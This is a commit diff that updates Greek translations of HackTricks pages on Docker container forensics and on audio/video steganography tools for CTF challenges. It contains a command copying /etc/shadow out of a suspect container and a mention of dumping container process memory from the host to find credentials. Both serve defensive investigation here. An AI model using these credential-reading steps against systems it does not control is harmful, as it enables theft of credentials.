Translated ['forensics/basic-forensic-methodology/docker-forensics.md',

This commit is contained in:
Translator 2024-11-27 17:56:03 +00:00
parent 01088456f5
commit afa2b839ff
23 changed files with 644 additions and 325 deletions

View file

@ -1,29 +1,35 @@
# Ερευνητική μεθοδολογία Docker
# Docker Forensics
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Υποστηρίξτε το HackTricks</summary>
<summary>Support HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Τροποποίηση εμφυτευμάτων
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
Υπάρχουν υποψίες ότι κάποιο εμφυτευμένο εμφυτευμένο στον Docker container:
Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
{% embed url="https://academy.8ksec.io/" %}
## Container modification
Υπάρχουν υποψίες ότι κάποιο docker container έχει παραβιαστεί:
```bash
docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
cc03e43a052a lamp-wordpress "./run.sh" 2 minutes ago Up 2 minutes 80/tcp wordpress
```
Μπορείτε εύκολα **να βρείτε τις τροποποιήσεις που έχουν γίνει σε αυτό το container όσον αφορά την εικόνα** με:
Μπορείτε εύκολα **να βρείτε τις τροποποιήσεις που έγιναν σε αυτό το κοντέινερ σε σχέση με την εικόνα** με:
```bash
docker diff wordpress
C /var
@ -37,52 +43,52 @@ A /var/lib/mysql/mysql/time_zone_leap_second.MYI
A /var/lib/mysql/mysql/general_log.CSV
...
```
Στην προηγούμενη εντολή το **C** σημαίνει **Αλλαγή** και το **A,** **Προστέθηκε**.\
Αν ανακαλύψετε ότι κάποιο ενδιαφέρον αρχείο όπως το `/etc/shadow` τροποποιήθηκε, μπορείτε να το κατεβάσετε από το container για να ελέγξετε για κακόβουλη δραστηριότητα με:
Στην προηγούμενη εντολή, το **C** σημαίνει **Αλλαγμένο** και το **A** σημαίνει **Προστεθέν**.\
Αν διαπιστώσετε ότι κάποιο ενδιαφέρον αρχείο όπως το `/etc/shadow` έχει τροποποιηθεί, μπορείτε να το κατεβάσετε από το κοντέινερ για να ελέγξετε για κακόβουλη δραστηριότητα με:
```bash
docker cp wordpress:/etc/shadow.
```
Μπορείτε επίσης **να το συγκρίνετε με το αρχικό αρχείο** εκτελώντας ένα νέο container και εξάγοντας το αρχείο από αυτό:
Μπορείτε επίσης να **το συγκρίνετε με το πρωτότυπο** εκτελώντας ένα νέο κοντέινερ και εξάγοντας το αρχείο από αυτό:
```bash
docker run -d lamp-wordpress
docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container
diff original_shadow shadow
```
Αν ανακαλύψετε ότι **προστέθηκε ένα ύποπτο αρχείο**, μπορείτε να έχετε πρόσβαση στο container και να το ελέγξετε:
Αν διαπιστώσετε ότι **κάποιο ύποπτο αρχείο προστέθηκε** μπορείτε να αποκτήσετε πρόσβαση στο κοντέινερ και να το ελέγξετε:
```bash
docker exec -it wordpress bash
```
## Τροποποιήσεις εικόνων
## Images modifications
Όταν σας δίνεται μια εξαγόμενη εικόνα docker (πιθανότατα σε μορφή `.tar`), μπορείτε να χρησιμοποιήσετε το [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) για **εξαγωγή ενός περιλήψεως των τροποποιήσεων**:
Όταν σας δοθεί μια εξαγόμενη εικόνα docker (πιθανώς σε μορφή `.tar`), μπορείτε να χρησιμοποιήσετε [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) για να **εξαγάγετε μια περίληψη των τροποποιήσεων**:
```bash
docker save <image> > image.tar #Export the image to a .tar file
container-diff analyze -t sizelayer image.tar
container-diff analyze -t history image.tar
container-diff analyze -t metadata image.tar
```
Στη συνέχεια, μπορείτε **να αποσυμπιέσετε** την εικόνα και **να έχετε πρόσβαση στα blobs** για να αναζητήσετε ύποπτα αρχεία που ενδέχεται να έχετε βρει στο ιστορικό αλλαγών:
Τότε, μπορείτε να **αποσυμπιέσετε** την εικόνα και να **πρόσβαση στα blobs** για να αναζητήσετε ύποπτα αρχεία που μπορεί να έχετε βρει στην ιστορία αλλαγών:
```bash
tar -xf image.tar
```
### Βασική Ανάλυση
### Basic Analysis
Μπορείτε να λάβετε **βασικές πληροφορίες** από την εικόνα που τρέχει:
Μπορείτε να αποκτήσετε **βασικές πληροφορίες** από την εικόνα εκτελώντας:
```bash
docker inspect <image>
```
Μπορείτε επίσης να λάβετε ένα σύνοψη **ιστορικό αλλαγών** με:
Μπορείτε επίσης να αποκτήσετε μια περίληψη **ιστορικό αλλαγών** με:
```bash
docker history --no-trunc <image>
```
Μπορείτε επίσης να δημιουργήσετε ένα **dockerfile από ένα εικόνα** με:
Μπορείτε επίσης να δημιουργήσετε ένα **dockerfile από μια εικόνα** με:
```bash
alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"
dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers>
```
### Διερεύνηση
### Dive
Για να βρείτε προστεθειμένα/τροποποιημένα αρχεία σε εικόνες docker μπορείτε επίσης να χρησιμοποιήσετε το [**dive**](https://github.com/wagoodman/dive) (κατεβάστε το από [**ανακοινώσεις**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)) utility:
Για να βρείτε προστιθέμενα/τροποποιημένα αρχεία σε εικόνες docker, μπορείτε επίσης να χρησιμοποιήσετε το [**dive**](https://github.com/wagoodman/dive) (κατεβάστε το από [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)) εργαλείο:
```bash
#First you need to load the image in your docker repo
sudo docker load < image.tar 1
@ -91,16 +97,37 @@ Loaded image: flask:latest
#And then open it with dive:
sudo dive flask:latest
```
Αυτό σας επιτρέπει να **πλοηγηθείτε μέσα από τα διάφορα blobs των εικόνων του docker** και να ελέγξετε ποια αρχεία τροποποιήθηκαν/προστέθηκαν. **Το κόκκινο** σημαίνει προσθήκη και **το κίτρινο** σημαίνει τροποποίηση. Χρησιμοποιήστε το **tab** για να μετακινηθείτε στην άλλη προβολή και το **space** για να συμπτύξετε/ανοίξετε φακέλους.
Αυτό σας επιτρέπει να **περιηγηθείτε μέσα από τα διάφορα blobs των εικόνων docker** και να ελέγξετε ποια αρχεία τροποποιήθηκαν/προστέθηκαν. **Κόκκινο** σημαίνει προστέθηκε και **κίτρινο** σημαίνει τροποποιήθηκε. Χρησιμοποιήστε **tab** για να μετακινηθείτε στην άλλη προβολή και **space** για να συμπτύξετε/ανοίξετε φακέλους.
Με το die δεν θα μπορείτε να έχετε πρόσβαση στο περιεχόμενο των διαφορετικών σταδίων της εικόνας. Για να το κάνετε αυτό, θα πρέπει να **αποσυμπιέσετε κάθε στρώμα και να έχετε πρόσβαση** σε αυτό.\
Μπορείτε να αποσυμπιέσετε όλα τα στρώματα μιας εικόνας από τον κατάλογο όπου αποσυμπιέστηκε η εικόνα εκτελώντας:
Με die δεν θα μπορείτε να αποκτήσετε πρόσβαση στο περιεχόμενο των διαφόρων σταδίων της εικόνας. Για να το κάνετε αυτό, θα χρειαστεί να **αποσυμπιέσετε κάθε στρώμα και να αποκτήσετε πρόσβαση σε αυτό**.\
Μπορείτε να αποσυμπιέσετε όλα τα στρώματα από μια εικόνα από τον κατάλογο όπου αποσυμπιέστηκε η εικόνα εκτελώντας:
```bash
tar -xf image.tar
for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done
```
## Διαπιστευτήρια από τη μνήμη
Σημειώστε ότι όταν εκτελείτε ένα container docker μέσα σε έναν host **μπορείτε να δείτε τις διεργασίες που τρέχουν στο container από τον host** απλά εκτελώντας την εντολή `ps -ef`
Σημειώστε ότι όταν εκτελείτε ένα docker container μέσα σε έναν host **μπορείτε να δείτε τις διαδικασίες που εκτελούνται στο container από τον host** απλά εκτελώντας `ps -ef`
Επομένως (ως root) μπορείτε **να αντλήσετε τη μνήμη των διεργασιών** από τον host και να αναζητήσετε **διαπιστευτήρια** ακριβώς [**όπως στο ακόλουθο παράδειγμα**](../../linux-hardening/privilege-escalation/#process-memory).
Επομένως (ως root) μπορείτε να **dump την μνήμη των διαδικασιών** από τον host και να αναζητήσετε **διαπιστευτήρια** απλά [**όπως στο παρακάτω παράδειγμα**](../../linux-hardening/privilege-escalation/#process-memory).
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
Εμβαθύνετε την εμπειρία σας στην **Κινητή Ασφάλεια** με την 8kSec Academy. Κατακτήστε την ασφάλεια iOS και Android μέσω των αυτορυθμιζόμενων μαθημάτων μας και αποκτήστε πιστοποίηση:
{% embed url="https://academy.8ksec.io/" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Υποστήριξη HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,41 +1,55 @@
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Υποστηρίξτε το HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Συμμετέχετε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τεχνικές χάκινγκ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Η επεξεργασία αρχείων ήχου και βίντεο** είναι ένα βασικό στοιχείο στις προκλήσεις **CTF forensics**, εκμεταλλευόμενη τη **στεγανογραφία** και την ανάλυση μεταδεδομένων για να κρύψει ή να αποκαλύψει μυστικά μηνύματα. Εργαλεία όπως το **[mediainfo](https://mediaarea.net/en/MediaInfo)** και το **`exiftool`** είναι απαραίτητα για την επιθεώρηση των μεταδεδομένων των αρχείων και την αναγνώριση των τύπων περιεχομένου.
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
Για προκλήσεις ήχου, το **[Audacity](http://www.audacityteam.org/)** ξεχωρίζει ως ένα πρωτοποριακό εργαλείο για την προβολή κυματομορφών και την ανάλυση των φασματογραφημάτων, τα οποία είναι ουσιώδη για την αποκάλυψη κειμένου που έχει κωδικοποιηθεί σε ήχο. Το **[Sonic Visualiser](http://www.sonicvisualiser.org/)** συνιστάται ιδιαίτερα για λεπτομερή ανάλυση φασματογραφημάτων. Το **Audacity** επιτρέπει την επεξεργασία ήχου όπως η επιβράδυνση ή η αναστροφή κομματιών για την ανίχνευση κρυμμένων μηνυμάτων. Το **[Sox](http://sox.sourceforge.net/)**, ένα πρόγραμμα γραμμής εντολών, εξειδικεύεται στη μετατροπή και επεξεργασία αρχείων ήχου.
Εμβαθύνετε την εμπειρία σας στην **Ασφάλεια Κινητών** με την 8kSec Academy. Κατακτήστε την ασφάλεια iOS και Android μέσω των αυτορυθμιζόμενων μαθημάτων μας και αποκτήστε πιστοποίηση:
Η **manipulation των Λιγότερο Σημαντικών Bits (LSB)** είναι μια συνηθισμένη τεχνική στη στεγανογραφία ήχου και βίντεο, εκμεταλλευόμενη τα κομμάτια μέσων σταθερού μεγέθους των αρχείων πολυμέσων για να ενσωματώσει δεδομένα διακριτικά. Το **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** είναι χρήσιμο για την αποκωδικοποίηση μηνυμάτων που έχουν κρυφτεί ως **DTMF τόνοι** ή **Κώδικας Morse**.
{% embed url="https://academy.8ksec.io/" %}
Οι προκλήσεις βίντεο συχνά περιλαμβάνουν μορφές δοχείων που συσκευάζουν ροές ήχου και βίντεο. Το **[FFmpeg](http://ffmpeg.org/)** είναι το βασικό εργαλείο για την ανάλυση και την επεξεργασία αυτών των μορφών, ικανό να αποσυνδέει και να αναπαράγει περιεχόμενο. Για τους προγραμματιστές, το **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** ενσωματώνει τις δυνατότητες του FFmpeg στην Python για προηγμένες διαδραστικές ενέργειες με scripts.
**Η χειραγώγηση αρχείων ήχου και βίντεο** είναι βασικό στοιχείο στις **προκλήσεις ψηφιακής εγκληματολογίας CTF**, αξιοποιώντας **στεγανографία** και ανάλυση μεταδεδομένων για να κρύψει ή να αποκαλύψει μυστικά μηνύματα. Εργαλεία όπως το **[mediainfo](https://mediaarea.net/en/MediaInfo)** και το **`exiftool`** είναι απαραίτητα για την επιθεώρηση μεταδεδομένων αρχείων και την αναγνώριση τύπων περιεχομένου.
Αυτός ο φάσμα εργαλείων υπογραμμίζει την ευελιξία που απαιτείται στις προκλήσεις CTF, όπου οι συμμετέχοντες πρέπει να χρησιμοποιούν ένα ευρύ φάσμα τεχνικών ανάλυσης και επεξεργασίας για να αποκαλύψουν κρυμμένα δεδομένα μέσα σε αρχεία ήχου και βίντεο.
Για προκλήσεις ήχου, το **[Audacity](http://www.audacityteam.org/)** ξεχωρίζει ως ένα κορυφαίο εργαλείο για την προβολή κυματομορφών και την ανάλυση φασματογραμμάτων, απαραίτητο για την αποκάλυψη κειμένου που έχει κωδικοποιηθεί σε ήχο. Το **[Sonic Visualiser](http://www.sonicvisualiser.org/)** συνιστάται ιδιαίτερα για λεπτομερή ανάλυση φασματογραμμάτων. Το **Audacity** επιτρέπει τη χειραγώγηση ήχου όπως η επιβράδυνση ή η αναστροφή κομματιών για την ανίχνευση κρυμμένων μηνυμάτων. Το **[Sox](http://sox.sourceforge.net/)**, ένα εργαλείο γραμμής εντολών, διαπρέπει στη μετατροπή και επεξεργασία αρχείων ήχου.
**Η χειραγώγηση των λιγότερο σημαντικών bit (LSB)** είναι μια κοινή τεχνική στη στεγανографία ήχου και βίντεο, εκμεταλλευόμενη τα σταθερού μεγέθους κομμάτια αρχείων πολυμέσων για να ενσωματώσει δεδομένα διακριτικά. Το **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** είναι χρήσιμο για την αποκωδικοποίηση μηνυμάτων που είναι κρυμμένα ως **DTMF τόνοι** ή **κωδικός Μορς**.
Οι προκλήσεις βίντεο συχνά περιλαμβάνουν μορφές κοντέινερ που συνδυάζουν ροές ήχου και βίντεο. Το **[FFmpeg](http://ffmpeg.org/)** είναι το εργαλείο αναφοράς για την ανάλυση και χειραγώγηση αυτών των μορφών, ικανό να απο-πολυπλέκει και να αναπαράγει περιεχόμενο. Για προγραμματιστές, το **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** ενσωματώνει τις δυνατότητες του FFmpeg σε Python για προηγμένες αλληλεπιδράσεις μέσω σεναρίων.
Αυτή η σειρά εργαλείων υπογραμμίζει την ευελιξία που απαιτείται στις προκλήσεις CTF, όπου οι συμμετέχοντες πρέπει να χρησιμοποιήσουν ένα ευρύ φάσμα τεχνικών ανάλυσης και χειραγώγησης για να αποκαλύψουν κρυμμένα δεδομένα μέσα σε αρχεία ήχου και βίντεο.
## Αναφορές
* [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
Εμβαθύνετε την εμπειρία σας στην **Ασφάλεια Κινητών** με την 8kSec Academy. Κατακτήστε την ασφάλεια iOS και Android μέσω των αυτορυθμιζόμενων μαθημάτων μας και αποκτήστε πιστοποίηση:
{% embed url="https://academy.8ksec.io/" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Υποστηρίξτε το HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Συμμετέχετε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τεχνικές χάκινγκ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,29 +1,35 @@
# Ερευνητική Ανάλυση Docker
# Docker Forensics
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Υποστηρίξτε το HackTricks</summary>
<summary>Support HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Κοινοποιήστε τεχνικές χάκινγκ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο GitHub.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Τροποποίηση Εμφυτεύματος
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
Υπάρχουν υποψίες ότι κάποιο docker container έχει υποστεί παραβίαση:
Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
{% embed url="https://academy.8ksec.io/" %}
## Container modification
Υπάρχουν υποψίες ότι κάποιο docker container έχει παραβιαστεί:
```bash
docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
cc03e43a052a lamp-wordpress "./run.sh" 2 minutes ago Up 2 minutes 80/tcp wordpress
```
Μπορείτε εύκολα **να βρείτε τις τροποποιήσεις που έχουν γίνει σε αυτό το container όσον αφορά την εικόνα** με:
Μπορείτε εύκολα **να βρείτε τις τροποποιήσεις που έχουν γίνει σε αυτό το κοντέινερ σε σχέση με την εικόνα** με:
```bash
docker diff wordpress
C /var
@ -37,52 +43,52 @@ A /var/lib/mysql/mysql/time_zone_leap_second.MYI
A /var/lib/mysql/mysql/general_log.CSV
...
```
Στην προηγούμενη εντολή το **C** σημαίνει **Αλλαγή** και το **A,** **Προστέθηκε**.\
Αν ανακαλύψετε ότι κάποιο ενδιαφέρον αρχείο όπως το `/etc/shadow` τροποποιήθηκε, μπορείτε να το κατεβάσετε από το container για να ελέγξετε για κακόβουλη δραστηριότητα με:
Στην προηγούμενη εντολή, το **C** σημαίνει **Αλλαγμένο** και το **A** σημαίνει **Προστιθέμενο**.\
Αν διαπιστώσετε ότι κάποιο ενδιαφέρον αρχείο όπως το `/etc/shadow` έχει τροποποιηθεί, μπορείτε να το κατεβάσετε από το κοντέινερ για να ελέγξετε για κακόβουλη δραστηριότητα με:
```bash
docker cp wordpress:/etc/shadow.
```
Μπορείτε επίσης **να το συγκρίνετε με το αρχικό αρχείο** εκτελώντας ένα νέο container και εξάγοντας το αρχείο από αυτό:
Μπορείτε επίσης να **το συγκρίνετε με το πρωτότυπο** εκκινώντας ένα νέο κοντέινερ και εξάγοντας το αρχείο από αυτό:
```bash
docker run -d lamp-wordpress
docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container
diff original_shadow shadow
```
Αν ανακαλύψετε ότι **προστέθηκε ένα ύποπτο αρχείο**, μπορείτε να έχετε πρόσβαση στο container και να το ελέγξετε:
Αν διαπιστώσετε ότι **κάποιο ύποπτο αρχείο προστέθηκε** μπορείτε να αποκτήσετε πρόσβαση στο κοντέινερ και να το ελέγξετε:
```bash
docker exec -it wordpress bash
```
## Τροποποιήσεις εικόνων
## Images modifications
Όταν σας δίνεται μια εξαγόμενη εικόνα docker (πιθανότατα σε μορφή `.tar`), μπορείτε να χρησιμοποιήσετε το [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) για **εξαγωγή ενός περιλήψεως των τροποποιήσεων**:
Όταν σας δοθεί μια εξαγόμενη εικόνα docker (πιθανώς σε μορφή `.tar`), μπορείτε να χρησιμοποιήσετε [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) για να **εξαγάγετε μια περίληψη των τροποποιήσεων**:
```bash
docker save <image> > image.tar #Export the image to a .tar file
container-diff analyze -t sizelayer image.tar
container-diff analyze -t history image.tar
container-diff analyze -t metadata image.tar
```
Στη συνέχεια, μπορείτε **να αποσυμπιέσετε** την εικόνα και **να έχετε πρόσβαση στα blobs** για να αναζητήσετε ύποπτα αρχεία που ενδέχεται να έχετε βρει στο ιστορικό αλλαγών:
Τότε, μπορείτε να **αποσυμπιέσετε** την εικόνα και να **πρόσβαση στα blobs** για να αναζητήσετε ύποπτα αρχεία που μπορεί να έχετε βρει στην ιστορία αλλαγών:
```bash
tar -xf image.tar
```
### Βασική Ανάλυση
### Basic Analysis
Μπορείτε να λάβετε **βασικές πληροφορίες** από την εικόνα που τρέχει:
Μπορείτε να αποκτήσετε **βασικές πληροφορίες** από την εικόνα εκτελώντας:
```bash
docker inspect <image>
```
Μπορείτε επίσης να λάβετε ένα σύνοψη **ιστορικό αλλαγών** με:
Μπορείτε επίσης να αποκτήσετε μια περίληψη **ιστορίας αλλαγών** με:
```bash
docker history --no-trunc <image>
```
Μπορείτε επίσης να δημιουργήσετε ένα **dockerfile από ένα εικόνα** με:
Μπορείτε επίσης να δημιουργήσετε ένα **dockerfile από μια εικόνα** με:
```bash
alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"
dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers>
```
### Διερεύνηση
### Dive
Για να βρείτε προστεθειμένα/τροποποιημένα αρχεία σε εικόνες docker μπορείτε επίσης να χρησιμοποιήσετε το [**dive**](https://github.com/wagoodman/dive) (κατεβάστε το από [**ανακοινώσεις**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)) utility:
Για να βρείτε προστιθέμενα/τροποποιημένα αρχεία σε εικόνες docker, μπορείτε επίσης να χρησιμοποιήσετε το [**dive**](https://github.com/wagoodman/dive) (κατεβάστε το από [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)) εργαλείο:
```bash
#First you need to load the image in your docker repo
sudo docker load < image.tar 1
@ -91,16 +97,37 @@ Loaded image: flask:latest
